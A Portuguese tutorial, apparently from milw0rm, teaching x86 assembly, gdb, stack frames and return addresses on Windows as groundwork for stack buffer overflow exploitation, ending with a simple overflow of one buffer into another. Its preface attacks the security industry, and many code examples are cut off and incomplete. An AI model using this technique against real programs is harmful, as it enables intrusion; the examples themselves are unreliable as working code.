Académique Documents
Professionnel Documents
Culture Documents
char *titulo[]={
Author : 6_Bl4ck9_f0x6
A.k.a : David Diego Dennys F. Siqueira.
e-mail : b-fox [at] bol [dot] com [dot] br
Milw0rm : http://www.milw0rm.com/author/1863/
I wrote this text for to expand knowledge for new hackers from Brazil and
of the all world. I hope you like and if you want send me some mails. This
text also was written as protest because exist many 'White Hats' in the
Brazil and they don't want to teach nothing, to write friend, prove you
aren't died and to write! I didn't see nothing of good in the texts of the
brazilians, then this text was writed. Thank's for to read. Enjoy of this
text my friend and spit on face of this stupids white hats. Fuck Security
industry, fuck full disclosure. Good reading...
Com este texto pretendo abordar o funcionamento do stack frame sobre arquitetura
x86 (w32)
e pretendo mostrar tecnicas de exploracao do mesmo tanto local, como remota.
Aqui, todo o
processo sera demonstrado passo a passo, pois todos sabemos a carencia que o
Brasil tem de
textos em portugues que descrevam tal tecnica "para windows" e em uma linguagem
de facil
"entendimento" para nossos jovens hackers, que levarao nossa linhagem especial
adiante;
Neste paper voce conhecera o stack frame e tambem sabera como manipula-lo para
faze-lo re-
tornar a um endereco de memoria especifico. No proximo texto demonstrarei
manipulacao de
shellcodes para a exploracao de stack overflows no windows. Tambem escrevi este
texto com o
intuito de aumentar o arsenal do milw0rm e para elevar o prestigio de meu pais
aos olhos
de nossos irmaos hackers do mundo que acessam diariamente o milw0rm, porque todos
sabemos
que no Brasil existe uma falta muito grande de profissionais de qualidade na area
de SI -
Seguranca da Informacao, e como se nao bastasse o nome do hacking Brasileiro
esta sendo
sujo a cada dia por alguns Sk's - Script kiddies que a unica coisa que fazem e usar
trojans
escritos por terceiros e fazer deface por php em sites nunca antes vistos por eles,
que por
sinal sao muito mau administrados pelo outro lado da corja, os falsos
profissionais de
seguranca (Nao "hackers"). Gostaria de fazer um pedido a esses seres imprestaveis:
Como neste texto pretendo abordar passo a passo o processo de exploracao, entao nao
se faz
"necessario" que va procurar informacoes sobre a linguagem assembly em outro
texto para
comecar a "entender" como explorar falhas de stack overflow, pois toda a base se
encontra
neste documento. E claro que voce precisara ter um bom entendimento de assembly
para poder
desenvolver shellcodes, mas por hora a unica coisa que voce precisara e deste
documento.
Ao termino da leitura deste .txt recomendo que procure algum curso de assembly
para uma
melhor compreensao do que sera demonstrado aqui, os mecanismos de buscas atuais
sao exce-
lentes. O 'real' pre-requisito (Mais que previsivel), sera que o leitor tenha
conhecimen-
tos intermediarios da linguagem C[1], para uma "melhor" compreensao deste texto.
Entendi-
mento de enderecos de memoria e da base de enderecamento hexadecimal[2] tambem se
faz ne-
cessario. As ferramentas necessarias/utilizadas aqui serao o gcc e o gdb. Para
obter essas
ferramentas voce apenas precisa baixar o DEV-C++. Este e sem duvida nenhuma um dos
melho-
res IDE's do mundo e pode ser encontrado em http://www.bloodshed.net . Os binarios
neces-
sarios se encontram no diretorio '\Dev-Cpp\bin', voce podera inserir uma entrada
estati-
ca no PATH do sistema para encontrar este diretorio com o comando PATH=%PATH%;\Dev-
Cpp\bin
inserido em \autoexec.bat .
+=====+
| AX | Accumulator (Registrador Acumulador)
+-----+
| BX | Base (Registrador de base )
+-----+
| CX | Counter (Registrador Contador)
+-----+
| DX | Data (Registrador de dados)
+=====+
O comando 'r' e utilizado para visualizar os valores dos registradores. Note que
apesar de
estar em um x86, esses registradores equivalem a 16 bits. Isso se deve ao fato de
eu estar
em uma ferramenta ambientada para o antigo MS-DOS, portanto a mesma continua com
seus pa-
droes. Veja o registrador acumulador dividido em sua parte alta e baixa:
AX = 00 00
(High <- Alta) (Low <- Baixa)
No capitulo "Instructions Set" veremos como manipular apenas determinas partes de
um re-
gistrador. Como disse anteriormente, nos processadores atuais esses registradores
equiva-
lem a 32 bits, e para haver uma diferenciacao por parte dos programadores existe
uma no-
tacao que e utilizada para referenciar esses registers. Um 'E' de Extended. Que em
portu-
gues significa 'E'stendido. Isso referencia os registradores de 32 bits dos x86 .
==========================
Registradores de uso geral
==========================
+=====+
| EAX | Extended Accumulator -> Registrador Acumulador Extendido
+-----+
| EBX | Extended Base -> Registrador de Base Extendido
+-----+
| ECX | Extended Counter -> Registrador Contador Extendido
+-----+
| EDX | Extended Data -> Rigistrador de Dados Extendido
+=====+
Uma representacao ideal para esse registrador em sua parte alta e baixa seria essa:
Nesse caso cada lado deste registrador e de 16 bits. Somando assim 32 bits (4
bytes).
Acredito que todos saibam que 8 bits equivalem a 1 byte. Veremos agora os
registra-
dores especiais, os que se referem ao stack frame (Descrito "adiante"). Nao
citarei
os registradores de segmento.
==========================
Registradores especiais
==========================
+=====+
| eip | Instruction pointer -> Ponteiro de instrucao extendido
+-----+
| ebp | Base pointer -> Ponteiro de base extendido
+-----+
| esp | Stack pointer -> Ponteiro de pilha extendido
+-----+
Esses sao apenas alguns dos registradores especiais (Termo para referenciar os
registers
que nao sao de uso geral). O eip aponta para o endereco de memoria da proxima
instrucao
a ser executada, o ebp aponta para a base do stack e o esp aponta sempre para o
topo da
stack/pilha. No decorrer do texto voce ficara mais familiarizado com os mesmos.
Como voce pode ver, comecaremos a setar nossas instrucoes a partir do endereco
0100, en-
dereco esse que e o reservado como endereco inicial para um programa MS-DOS de 16
bits.
A primeira instrucao vista por nos sera a 'MOV', que movimenta (copia) dados. Vamos
a um
exemplo pratico.
Veja os comentarios a sua direita. Bem aqui uma ressalva deve ser feita. A
sintaxe[4]
utilizada acima, foi a INTEL, esta sintaxe determina que a origem sempre sera o
dado
da direita, e o destino de tal dado e o registrador da esquerda. A sintaxe AT&T,
que e
a utilizada nos *nixes, determina o oposto, ou seja, na sintaxe 'AT&T' a origem
e o
valor da esquerda, e o destino e o registrador da direita. O comando -T executa
nossas
instrucoes passao a passo (Step over).
-T
AX=0010 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 B81515 MOV AX,1515
Veja que logo apos a execucao de nossa primeira instrucao, armazenada no endereco
de
memoria 0100, o registrador AX agora possui o valor 10 em sua parte baixa. Repare
a-
gora no registrador IP. Veja que ele aponta para a proxima instrucao a ser
executa-
ta, ou seja, a intrucao armazenada no endereco 0103 que e a MOV AX,1515 . Teclamos
o
comando 'T' mais uma vez e vemos o seguinte resultado:
-T
Veja que AX agora possui o valor 1515 e o intruction pointer (IP) esta apontando
para
o endereco 0106, que e o endereco da proxima instrucao a ser executada (MOV BX,AX).
-T
Veja que BX agora possui o mesmo valor de AX, ou seja, houve uma copia de dados. O
comando 'Q' (Quit) sai do debug. Ainda podemos manipular somente partes baixas ou
Seg: [offset]
Repare que a instrucao NOP (No operation) ou nenhuma operacao, equivale a 1 byte,
pois
ela se incia no endereco 0100 e o proximo endereco e o 0101. A instrucao 'NOP'
(\x90)
nao faz nada, quando o processador encontra essa instrucao ele imediatamente pula
para
a proxima instrucao. No offset '0102' do segmento de dados (DS = 0D3C)
especifiquei a
instrucao call seguida do endereco no qual quero "chamar". Quando executamos a
instru-
cao call o fluxo do programa imediatamente segue para o endereco chamado. A
instrucao
call chama o endereco e as instrucoes que se encontram no endereco chamado sao
execu-
tadas. No capitulo "Funcionamento basico da stack", veremos mais sobre essa
instrucao.
Podemos utilizar instrucoes que movimentam dados especificos, como movl, que
movimenta
um long, ou seja, os 4 bytes de um registrador extendido, e movb que movimenta um
byte.
Veja mais algumas instrucoes frequentemente usadas para desenvolvimento de
shellcodes.
Sintaxe:
0D3C:0100 INC AX
Logo apos essa intrucao AX (registrador de 16 bits) sera representado dessa forma:
AX=0001
Podemos incrementar tambem apenas lados especificos de cada registrador. Veja mais
exemplos de operacoes manipuladoras de lados altos e baixos:
C:\DOCUME~1\David>debug
-a
0D3C:0100 INC AH
0D3C:0102 INC AL
0D3C:0104 <--- [ENTER]
-t
A instrucao DEC faz o oposto da instrucao INC. Esta instrucao DECrementa o valor de
um
registrador em 1.
Sintaxe(s):
1 - 0D3C:0100 DEC AX
2 - 0D3C:0100 DEC AH
3 - 0D3C:0100 DEC AL
Exemplo:
-a
0D3C:0100 MOV AX,10 ; <--- Copia 10 para AX
0D3C:0103 MOV BX,10 ; <--- Copia 10 para BX
0D3C:0106 ADD AX,BX ; <--- Soma AX + BX
0D3C:0108
Veja que copio o valor 10 para AX e para BX, depois somo os valores armazenados em
ambos
registradores e o resultado sera armazenado no registrador de destino, AX, pois
estou u-
tilizando a sintaxe INTEL. Entao, apos todas as instrucoes serem executadas o
valor de
AX sera 20.
(...)
-t
Exemplo:
-A
0D3C:0100 MOV AX,F
0D3C:0103 SUB AX,1
0D3C:0106
-t
Essa instrucao salta (JuMP) para um determinado endereco de memoria, fazendo com
que
o fluxo do programa seja desviado para esse endereco.
Nesse exemplo acima, todas as vezes que o fluxo de dados chegar ao endereco
0104, ele saltara para o endereco inicial que continuara a executar as ins-
trucoes anteriores ao salto, ou seja, 'DL' nao pararia de ser incrementado,
mas devido a rotina, ele nao passaria do valor 2, pois a primeira instrucao
sobrescreve o valor anterior.
=================
Intrucoes logicas
=================
AND 1 1 = 1
AND 0 1 = 0
AND 1 0 = 0
AND 0 0 = 0
--=[ OR ]=--
A instrucao OR (ou) por sua vez requer que apenas um dos valores seja verdadeiros,
para tambem retornar um valor positivo. Veja:
OR 1 1 = 1
OR 1 0 = 1
OR 0 1 = 1
OR 0 0 = 0
Essa instrucao e quase igual ao OR, ela faz a comparacao de dois valores e apenas
retorna um valor verdadeiro quando um deles ("apenas um") for tambem verdadeiro.
Repito: Apenas um dos dois valores comparados deve ser '1 '(verdadeiro) para essa
instrucao retornar um valor verdadeiro.
C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV AX,1 ; Move 1 para AX
0D3C:0103 XOR AX,1 ; 1, 1 = 0
0D3C:0106
-t
Repare que o valor 1 foi copiado para AX, abaixo segue a instrucao que compara
os valores referentes.
-t
C:\DOCUME~1\David>
Veja que o resultado foi falso, porque "apenas um" dos registradores tem que
armazenar
o valor 1 e nesse caso os dois valores envolvidos no teste eram 1, assim
sobrescreven-
do o valor que tinha sido previamente armazenado em AX ('1'), com o valor
"retornado"
pela operacao XOR (0).
XOR 1 1 = 0
XOR 1 0 = 1
XOR 0 1 = 1
XOR 0 0 = 0
O GDB e um debugger nativo dos *nixes/Linuxes, mas foi portado para arquitetura
w32.
Como o proprio nome ja dos diz, um debugger nada mais e do que o programa que
nos
mostrara os codigos internos de outro programa (por exemplo) em assembly.
Recur-
so esse que e muito util para sabermos o que o programa faz no nosso sistema
quando
seu codigo fonte nao e divulgado e para o descobrimento de bugs em nossos
programas.
Com um debugger podemos ver os "enderecos" de memoria utilizados pelos
programas,
suas bibliotecas, e tambem podemos modificar suas instrucoes internas. Se
escrever-
mos um programa usando a linguagem assembly, as instrucoes deste mesmo programa
se-
rao vistas em assembly no debugger, ou seja, na linguagem que escrevemos. Veja
al-
gumas opcoes que nos serao muito uteis para o completo entendimento da stack e
um
"entendimento" maior sobre o desenvolvimento de shellcodes tanto para windows
quanto
para *nixes/Linuxes.
break --> Esta opcao seta um breakpoint, que nada mais e do que definir
onde
o programa sera "pausado" quando iniciarmos o mesmo ("run").
Cada
break point recebe um numero de identificacao.
disassemble --> Esta e a opcao que nos mostra o codigo em assembly propriamente
di-
to, ou seja, seguido de um frame, ela e capaz de nos mostrar
todas
as instrucoes daquele frame.
run --> Esta opcao que sera utilizada para iniciar a execucao do
programa
dentro do debugger. Esta opcao pode ou nao receber argumentos.
Exemplo I
main (){
Exemplo II
main (){
__asm (
"NOP \n"
"NOP ");
}
======================
Entendendo os Symbols
======================
-- testing.c --
#include <stdio.h>
main (){
-- cut here --
C:\>gdb test -q
(gdb) list
1 #include <stdio.h>
2
3 main (){
4
5 puts ("This is a test");
6
7 }
(gdb) q
C:\>gdb test -q
(no debugging symbols found)...(gdb)
(gdb) q
C:\>
Um detalhe segue: Quando voce compila um programa utilizando o Dev-C++ o gcc usa a
opcao -g por padrao (Underground blood).
====================================
Movimentacao de dados em gcc in-line
====================================
-- inline.c --
main (){
__asm (
-- cut here --
Agora vamos "disassemblar" esse programa para vermos o estado do registrador eax.
Primeiramente inicializo o gdb sem a emissao do banner do programa (-q) para logo
depois visualizar os symbols do programa a ser debugado, ou seja, o seu codigo.
Vamos agora usar o comando disassemble (abreviado para disass) seguido da parte do
codigo que desejamos visualizar as instrucoes, ou seja, a parte do codigo que quero
ver "disassemblada". Repare que utilizo um "symbol" para referencia-la. Nesse caso
desejo ver as instrucoes a partir do entry point (ponto de entrada), main. O Entry
Marcamos o ponto de parada do programa apos sua execucao (comando run) dentro do
de-
bugger. Vamos ver informacoes sobre esse ponto de parada.
(gdb) i breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x004012c1 in main
at C:/Documents and
Settings/David/Desktop/inline.c:8
breakpoint already hit 1 time
Acima podemos ver em que funcao o breakpoint esta setado, o endereco de memoria que
esse
breakpoint esta setado, o numero de identificacao deste breakpoint caso nos
quisermos
remove-lo (del 1), entre outras informacoes. Vamos iniciar a execucao do programa.
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/inline.exe
Veja que nos e mostrado em hexadecimal (0xa) e em decimal (10) o valor contido no
re-
gistrador eax. Veja que o eip esta apontando para o endereco 0x4012c1, vamos ver
que
instrucao sera executada quando eu continuar a execucao do programa dentro do gdb.
Veja que utilizo o cifrao ('$') para referenciar o registrador. Tambem veja que u-
tilizo o parametro 'i' (instrucion) do x/ para visualizar a instrucao em assembly
(gdb) continue
Continuing.
Os modos de enderecamento sao os que vao determinar como os dados serao enderecados
pelo processador. Cada instrucao em assembly e convertida no que costumamos chamar
*********************************
*Register Addressing Mode - RAM *
*********************************
-- example.c --
/*
*
* ---=[ Sintaxe AT&T]=---
*
* source -> destination
*
*/
main (){
__asm (
-- cut here --
Nesse exemplo, os 32 bits ([long] 4 bytes) de dados que o registrador ebx armazena
sao copiados para o registrador eax. Na sintaxe AT&T[4] utilizamos a notacao per-
centual ('%') para referenciarmos os registradores.
**********************************
*Immediate Addressing mode - IAM *
**********************************
Com o modo de enderecamento imediato nos nao "referenciamos" valores, mas sim de-
claramos valores imediatos em si. Nos podemos declarar valores imediatos em hexa-
decimal, ou em decimal. Como em C e assembly para referenciarmos valores hexade-
cimais precisamos utilizar a notacao 0x seguida do valor propriamente dito, esse
valor por sua vez pode ser endereco de memoria ou apenas um numero qualquer. Veja
um exemplo do modo de enderecamento imediato:
main (){
__asm (
Repare que o valor hexadecimal 0A (10 em decimal) foi denotado com o cifrao '$'
que e utilizado para referenciar o valor imediato que sera copiado para o re-
gistrador eax. Para passarmos valores decimais obviamente que bastaria que nao
utilizemos a notacao de valores hexadecimais ('0x'). Exemplo: $10 . Mas como o
processador trabalha com numeros hexadecimais voce vera o 0x'a' ao invez de dez
quando disassemblar.
(...)
(...)
*******************************
*Direct Addressing Mode - DAM *
*******************************
Exemplo I
-- dam.c --
main (){
__asm (
-- cut --
Repare que para referenciar enderecos de memoria nao utilizamos o cifrao, pois
estamos trabalhando no nivel de processador (hexadecimal).
Exemplo II
-- dam_sampleII.c --
main (){
__asm (
-- cut --
(...)
(...)
Executo o programa:
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe
Esta. Bem, voce viu que na instrucao anterior a parada, os dados sao copiados para
o
registrador eax, mas nos nao podemos fazer a leitura desses dados ("Enderecados
pelo
modo de enderecamento direto") quando os mesmos estao no registrador eax "logo
apos"
a copia dos dados usando o modo de enderecamento direto.
(gdb) i r eax
eax 0x786f66 7892838
(gdb) x/s 0x786f66
0x786f66: <Address 0x786f66 out of bounds>
Para lermos o valor que esta armazenado no endereco de memoria que eax guarda,
devemos
primeiramente fazer o sistema copiar os dados armazenados no registrador 'eax',
para a
stack, depois que o mesmo estiver "apontando" para esses dados "na stack", e que
pode-
mos fazer a leitura do endereco de memoria apontado/guardado "no eax".
Variaveis locais sao alocadas na stack, no caso temos duas variaveis locais neste
programa acima, que sao:
Veja que ebp referencia a stack, este modo de enderecamento sera citado adiante.
Repare que na instrucao 47 os dados (str) foram copiados para a stack (leia sobre
a mesma no capitulo abaixo) e na instrucao 50 eax aponta (armazena) o "endereco"
da stack no qual esta contida nossa string. Agora se setarmos um breakpoint na
proxima instrucao, podemos visualizar os dados armazenados no endereco de memoria
que eax guarda, que e o endereco da string na stack. Vamos testar. Primeiramente
setaremos um ponto de parada na instrucao 53 de main e iniciamos o programa.
(gdb) i r eax
eax 0x22ff70 2293616
Perfeito. Isso foi apenas uma base para voce entender melhor o proximo capitulo.
No qual falo sobre o funcionamento da stack (O que e e como funciona). Nos tam-
bem podemos ler determinados bytes da string na stack. Para isso basta nao espe-
cificarmos o endereco inicial de uma string armazenada na memoria (Final '0'). A
string fox\0 possui 3 caracteres e o NULL byte, 4 caracteres, entao se eu quiser
visualizar a letra 'x' utilizo a seguinte sintaxe:
0x22ff70 -> f
0x22ff71 -> 0
0x22ff72 -> x
0x22ff73 -> \0
Se especificarmos um endereco, o gdb nos mostrara tudo que existe deste ponto,
para frente.
Claro que os dados devem ser pertencentes ao mesmo bloco. Bloco esse que eh
iniciado com 0 e terminada no NULL byte (O terminador de string - '\0').
**********************************
* Indirect Addressing Mode - IAM *
**********************************
Este sem duvida e o modo de enderecamente mais facil de ser entendido. Ele consiste
em representarmos um endereco de memoria atraves de um registrador entre parenteses
na origiem da sintaxe utilizada, assim copiando tal endereco para o registrador de
-- cut --
main (){
__asm (
-- cut --
o registrador eax.
Exemplo:
-- BPAM.c --
main (){
__asm (
-- cut --
***********************************
* Indexed Addressing Mode - IDAM *
***********************************
Utilizando esse metodo para se encontrar o endereco absoluto sao utilizados tres
valores, que sao: Um 'endereco de memoria', um 'registrador' e um 'multiplicador'.
O valor armazenado no index register e multiplicado por um numero, depois esse re-
sultado e adicionado ao endereco de memoria e logo em seguida este valor e final-
mente retornado. Um exemplo:
-- IDAM.c --
main (){
__asm (
-- cut --
O detalhe vem agora, veja que o resultado de cinco vezes quatro e igual a 20 EM
DECIMAL,
mas com esse modo de enderecamento e com todos os outros, nao podemos retornar
valores
decimais por que estavamos no nivel de programacao do micro-processador, ou seja,
estamos
mechendo com a memoria do sistema, portanto devemos utilizar numero hexadecimais
para tudo
"neste nivel". Entao o resultado que sera MOVido para o registrador acumulador
(eax) e o
0x00000014 (Tendo em vista que o endereco base e 0x00000000), pois 0x14 equivale a
20 em
decimal, resultado esse de 5 vezes 4. Voce vera logo mais que apenas dois valores
sao re-
almente necessarios neste modo de enderecamento. Exemplo:
movl $0x0,(%esp,1)
PUSH ---> EMPURRA DADOS SOBRE A PILHA. Nao se esqueca de que o re-
gistrador que aponta para o topo da pilha/stack e o esp
(extended stack pointer).
==================================
Exemplos das instrucoes push e pop
==================================
-t <-- Executa a instrucao que "retira" esses dados da stack e copia para DX
AX=0000 ======= CX=1000 DX=1000 ======= ======= ======= =======
======= ======= ======= ======= IP=0104 NV UP EI PL NZ NA PO NC
0D3C:0104 58 POP AX
-q
Nao executei a ultima instrucao, mas o resultado e "0000" nesse caso, pois depois
do primeiro POP, a stack nao guarda mais o valor 1000, portanto AX continuaria 0.
A stack funciona no esquema que costumamos chamar de LIFO - Last in First Out, que
significa: O ultimo dentro, primeiro fora. A stack/pilha recebe esse nome justa-
mente por trabalhar dessa maneira. Imagine uma pilha de CD's (chega de prato ;),
voce empilha seus CD's um sobre o outro, o ultimo 'CD' que voce coloca no topo da
pilha e o primeiro que voce retira. E assim que funciona a stack, o ultimo parame-
tro empurrado no topo do stack, e o primeiro parametro que a syscall pegara. Todas
as vezes que uma funcao/syscall e chamada essa mesma syscall pega os parametros
passados para seus argumentos, da pilha, ou seja, esses dados sao previamente
empilhados em tempo de execucao sobre o stack, e pegos na execucao da syscall.
-- msg.c --
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
main (){
-- cut --
A funcao MessageBoxA exibe uma mensagem em uma caixa de dialogo. Seus parametros
correspondem a: Dono da janela (0), texto da mensagem ("Text"), titutlo ("Title")
da janela e estilo de mensagem (64 = OK). Em tempo de execucao este programa em-
pilhara os respectivos argumentos desta funcao e chamara ("call") o endereco de
memoria onde esta armazenado a funcao MessageBoxA. Apos essa chamada a funcao, o
ultimo dado empilhado, sera o primeiro retirado. Veja esse exemplo para uma me-
lhor compreensao:
int MessageBox (
);
MessageBoxA no stack
+==============+
| 64 | ---> Primeiro dado empilhado
|--------------|
| "title" | ---> Segundo dado empilhado
|--------------|
| "text" | ---> Terceiro dado empilhado
|--------------|
| NULL (0) | ---> Quarto dado empilhado
+--------------+
Quando a funcao MessageBoxA e chamada (call) ela pegara primeiramente o ultimo dado
titulo da janela e o estilo de janela (64), assim exibindo a caixa de dialogo pro-
priamente dita. Em asm (Assembly) seria essa uma representacao ideal:
(...)
(...)
ExitProcess
(...)
-- cut --
hey:
call chama
nome db '6_Bl4ck9_f0x6',0
data import
end data
-- cut --
call chama
nome db '6_Bl4ck9_f0x6',0
Veja que a instrucao call chama o rotulo "chama", ou seja, o fluxo do programa
segue desse ponto em diante, a 'proxima instrucao' apos a chamada do rotulo e
entao posta no topo da stack, ou seja, a variavel 'nome' que armazena a string
"6_Bl4ck9_f0x6" e empilhada. O db ali esta marcando que esta variavel armazena
caracteres, e como se fosse uma 'char' em C.
pop ebx
Agora veja que interessante, repare que o segundo argumento da funcao MessageBox
e justamente o registrador 'ebx', que esta armazenando os dados anteriormente em-
pilhados, ou seja a string. O invoke chama uma funcao, nesse sao chamadas as fun-
coes MessageBox e ExitProcess (representado por 'exit' no codigo).
Como voce ja sabe o comando "list" nos mostra os symbols do programa. Caso queira
visualizar mais linhas de codigo no seu programa, basta que repita o comando list,
se quiser voltar para as primeiras linhas digite list 0. Repare que cada symbol
possui um numero de identificacao, que pode ser visto a sua esquerda. Disassembla-
remos agora a funcao principal ('main()').
O leitor astuto percebera que existe 0x40 ao inves de 64. Isso se deve ao fato de
que o processador trabalha com a base numerica hexadecimal. 0x40 e equivalente a
64 em decimal.
(...)
(...)
Como voce pode ver o estilo de janela e inserido primeiramente sobre a stack,
seguido
do endereco de memoria onde esta localizado o titulo da caixa de mensagem, texto
da
mensagem e logo apos o dono da janela. Na instrucao de endereco 0x4012d9 a
instrucao
call chamara o endereco 0x401880 no qual "executara" a funcao MessageBoxA, que
pega-
ra seus parametros previamente empilhados sobre a stack. Agora, duas resalvas
devem
ser feitas: Esta sintaxe e a 'AT&T', ou seja, a origem e o lado esquerdo e o
destino
o lado direito. A outra ressalva e sobre a "nao utilizacao" na instrucao PUSH,
para
empilhamento de dados sobre a stack, ao contrario disto, os dados sao movidos para
o
stack pointer (apontado por esp) com a instrucao movl (move long) e com o metodo
de
enderecamento indexed. Para ver as strings armazenadas nos enderecos de memoria
co-
piados para a stack, use o /s como sempre ;)
Com o sinal de + seguido do numero 6 estou dizendo que desejo que o gdb me mostre
a string armazenada 6 bytes apos o endereco 0x403000, pois e onde se inicia o ou-
tro vetor de caracteres. Tambem poderia ter utilizado a sintaxe x/s 0x403006, di-
retamente. A stack no windows esta armazenada em enderecos baixos e ela possui um
esquema de enderecamento que cosiste em crescer de cima para baixo e de '4' em '4'
bytes. Extended Stack Pointer (esp) = 0006FFC4 <---
+=====================+
| Endereco | Valor ||
+=====================||
| ||
| 0006FFC4 77E714C7 ||
| 0006FFC8 FFFFFFFF ||
| 0006FFCC 77F5166A ||
| 0006FFD0 7FFDF000 ||
| 0006FFD4 F0909CF0 ||
| 0006FFD8 0006FFC8 ||
| ||
+======================+
+=====================+
| Endereco | Valor |
+=====================+
4 <-----> 0006FFB4 | 0000000B <-----> 11
8 <-----> 0006FFB8 | 0000000A <-----> 10
C <-----> 0006FFBC | 00000009 <-----> 9
0 <-----> 0006FFC0 | 00000005 <-----> 5
| 0006FFC4 | 77E714C7 |
| 0006FFC8 | FFFFFFFF |
| 0006FFCC | 77F5166A |
| 0006FFD0 | 7FFDF000 |
| 0006FFD4 | F0909CF0 |
| 0006FFD8 | 0006FFC8 |
+=====================+
| esp = 0x0006FFB4 |
+=====================+
O "termo" 'stack frame' nada mais e que uma representacao de um dos estados de um
programa montado na memoria em run-time - Tempo de execucao (claro). Veremos agora
como e composto um stack frame de uma funcao dentro de um programa escrito em C.
Neste exemplo utilizo o "symbol" function para representar a parte do programa que
queremos ver disassemblada, ou seja, que queremos ver as instrucoes, mas eu tambem
poderia utilizar aquele endereco ao lado da instrucao call (disassemble 0x401290).
Repare bem nessas instrucoes, pois elas que serao as utilizadas para a criacao e a
destruicao do stack frame. Para ser mais especifico as tres primeiras instrucoes
criam o stack frame de uma funcao qualquer, as duas ultimas instrucoes por sua vez,
destroem o stack frame de uma funcao. Vejamos agora um diagrama deste programa mon-
tado na memoria, ou seja, veremos seu stack frame.
---=[ Stack frame de uma funcao ]=---
+----------------+
| buffer[0] | --> Topo da stack (esp)
^ +----------------+
| | buffer[1] |
| +----------------+
| | buffer[2] |
| +----------------+
| | buffer[3]... |
| +----------------+
| | |
| | Dummy (8 bytes)|
| | |
| +----------------+
| | SFP | --> Stack Frame Pointer
| | | --> ebp - Extended Base pointer (referencia dados na
stack)
| +----------------+
| | RETURN ADDRESS | --> Endereco da proxima instrucao apos a chamada da
funcao.
+----------------+
| a (1) | < ------+
+----------------+ |
| b (2) | > Argumentos. function (int a, int b, int c);
+----------------+ |
| c (3) | < ------+
+----------------+
3 - SFP - Stack Frame Pointer aponta para a base do stack frame. O ebp e o regis-
trador utilizado para fazer referencias aos dados no stack frame.
==================================
= Se aprofundando no stack frame =
==================================
O Epilogo
=====================
Definhando o prologo
=====================
2) - Como voce ja sabe, quando main chama uma funcao, o endereco da proxima instru-
cao e posto na stack, disassemble a funcao main e veja a chamada a "function".
Veja que o programa faz uma chamada exatamente ao endereco inicial desta fun-
cao. E o endereco de memoria desta instrucao que e posto no topo da stack:
Este endereco fica armazenado na parte RETURN Address do stack frame, ele e
referenciado pelo registrador esp. Repare que o 0x'4012de' nao passa de um
endereco de memoria virtual. O leitor astuto percebera que houve uma copia
dos dados do esp (endereco de retorno) para ebp.
16 (buffer) + 8 (dummy) = 24
-- cut --
main (){ }
-- cut --
Veja que apenas declaro a funcao principal e mais nada. Agora olhe o resultado:
(...)
(...)
Perceba que apenas o espaco para o dummy da funcao principal foi reservado.
=====================
Definhando o epilogo
=====================
MOV ebp, esp <----- Move o endereco de retorno anteriormente copiado para
ebp
de volta para o esp.
POP ebp <----- Remove o SFP (ebp) do stack frame, assim destruindo-o.
5) - A instrucao ret move o endereco de retorno apontado por esp para o registrador
'eip' assim fazendo o programa continuar seu fluxo normal, executando a ins-
trucao depois da chamada a funcao "function". Lembre-se que o registrador eip
+----------------+
|char buffer[28];| <--- O topo aponta para buffer[0];
+----------------+
| dummy (8 bytes)| <--- Dummy da funcao main
+----------------+
| SFP (ebp) | <--- Apontador de base
+----------------+
| RETURN ADDRESS | <--- Endereco de retorno de main.
+----------------+
| int argc | <----+
+----------------+ /---> Argumentos de main();
| char *argv[] | <---+
+----------------+
=================================
+ Obtendo o endereco de retorno +
=================================
Nesta primeiro parte demonstrarei apenas uma das formas de obter o endereco
de retorno, no proximo paper falarei mais sobre metodos de conseguir o RET
de alguma funcao. Primeiramente farei uma pequena aplicacao:
-- get_ret.c --
#include <stdio.h>
#include <stdlib.h>
main (){
-- cut --
C:\>gdb get_ret.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012a4 <main>: push %ebp
0x4012a5 <main+1>: mov %esp,%ebp
(...)
Iniciaremos o programa:
(gdb) r
Starting program: C:\get_ret.exe
Acima esta o endereco do FBP do stack frame. Utilizei o parametro 'x' do 'x/'
seguido do registrador no qual desejo ver o valor em hexadecimal.
Essa sintaxe diz que desejo ver em hexadecimal 4 bytes depois do SFP.
(...)
+------------+
| Dummy |
+------------+
| 0x0022ff78 | <-- FBP
+------------+
| 0x004012d3 | <-- RET
+------------+
Observe:
^
|
+----- > Veja que e este endereco que esta na area RET do stack frame de func.
Lembrando que voce tambem fara bom proveito deste paper se utilizar os
exemplos aqui descritos, nos *nixes/linuxes ;)
Acredito que isso seja de conhecimento de quase todos os leitores deste texto,
que
apesar de saberem como acontece, nao sabem como explorar. O Overflow acontece
quando
inserimos mais dado que um buffer pode suportar, ou seja, vamos supor que um
buffer
suporte 16 bytes, se inserirmos 17 bytes esse ultimo byte vai "sobrescrever" o
stack
frame e vai alcancar o dummy. Se por um acaso nos inserirmos 16 + 8 + 1 esse
ultimo
byte inserido por nos alcancara o FBP (ebp) que por sinal e composto por 4 bytes,
ou
seja, esses dados "ultrapassam" o espaco reservado para o buffer no 'stack
frame',
alcancam o 'dummy' que nesse caso e de 8 bytes e chegam no FBP. Acredito que
esteja
ficando mais claro para voce a cada minuto, amigo ;) Entao, pense comigo: Se o
en-
dereco de retorno armazena o endero da proxima instrucao depois da chamada a
uma
funcao, e ja que podemos sobrescrever o stack frame, entao podemos inferir que
po-
demos inserir dados ate alcancarmos o endereco de retorno, e os dados que nos
inse-
rimos que serao executados, certo? Exato. Veja esse exemplo:
-- I didn't see.c --
main (){
-- cut --
Os dados sao empilhados da direita para esquerda nesse caso. Entao o buffer 1
sera empilhado, depois o buffer2. Repare que o buffer1 e capaz de suportar 8
caracteres, mas a um problema neste programa, perceba que estou copiando uma
string de 15 bytes (David_Destroyer) para um buffer que suporta 8. O que vai
acontecer e o overflow, ou seja, os dados que nos inserimos sobre o primeiro
buffer vao sobrescrever o segundo.
123456789ABCDEF <--------[] 15 bytes
David_Destroyer
|
+-----------> A partir daqui os dados estarao no buffer2
Veja que logo em seguida a copia dos dados, e imprimido o valor do buffer2.
Repare que os dados impressos nao sao os dados que inicializei no 'buffer2'
(I didn't see nothing), mas sim o resto dos dados que nao foram suportados
